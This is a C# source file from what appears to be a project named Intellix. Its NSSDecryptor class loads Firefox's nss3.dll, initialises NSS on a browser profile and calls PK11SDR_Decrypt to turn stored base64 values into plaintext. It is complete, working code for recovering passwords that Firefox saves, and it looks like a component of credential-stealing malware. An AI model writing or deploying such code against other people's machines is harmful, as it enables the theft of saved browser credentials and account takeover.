Files
Intellix/Intelix.Helper.Encrypted/NSSDecryptor.cs
T
2026-08-27 10:55:23 -06:00

81 lines
1.9 KiB
C#

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Intelix.Helper.Encrypted;
public static class NSSDecryptor
{
public struct SECItem
{
public int Type;
public IntPtr Data;
public int Len;
}
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int NSS_Init(string configdir);
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int NSS_Shutdown();
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx);
public static bool Initialize(string profilePath)
{
try
{
string text = "C:\\Program Files\\Mozilla Firefox";
if (!Directory.Exists(text))
{
return false;
}
string environmentVariable = Environment.GetEnvironmentVariable("PATH");
environmentVariable = environmentVariable + ";" + text;
Environment.SetEnvironmentVariable("PATH", environmentVariable);
return NSS_Init(profilePath) == 0;
}
catch
{
return false;
}
}
public static string Decrypt(string base64)
{
try
{
byte[] array = Convert.FromBase64String(base64);
if (array.Length == 0)
{
return null;
}
SECItem data = new SECItem
{
Data = Marshal.AllocHGlobal(array.Length),
Len = array.Length,
Type = 0
};
Marshal.Copy(array, 0, data.Data, array.Length);
SECItem result = default(SECItem);
int num = PK11SDR_Decrypt(ref data, ref result, 0);
Marshal.FreeHGlobal(data.Data);
if (num != 0 || result.Data == IntPtr.Zero)
{
return null;
}
byte[] array2 = new byte[result.Len];
Marshal.Copy(result.Data, array2, 0, result.Len);
return Encoding.UTF8.GetString(array2);
}
catch
{
return null;
}
}
}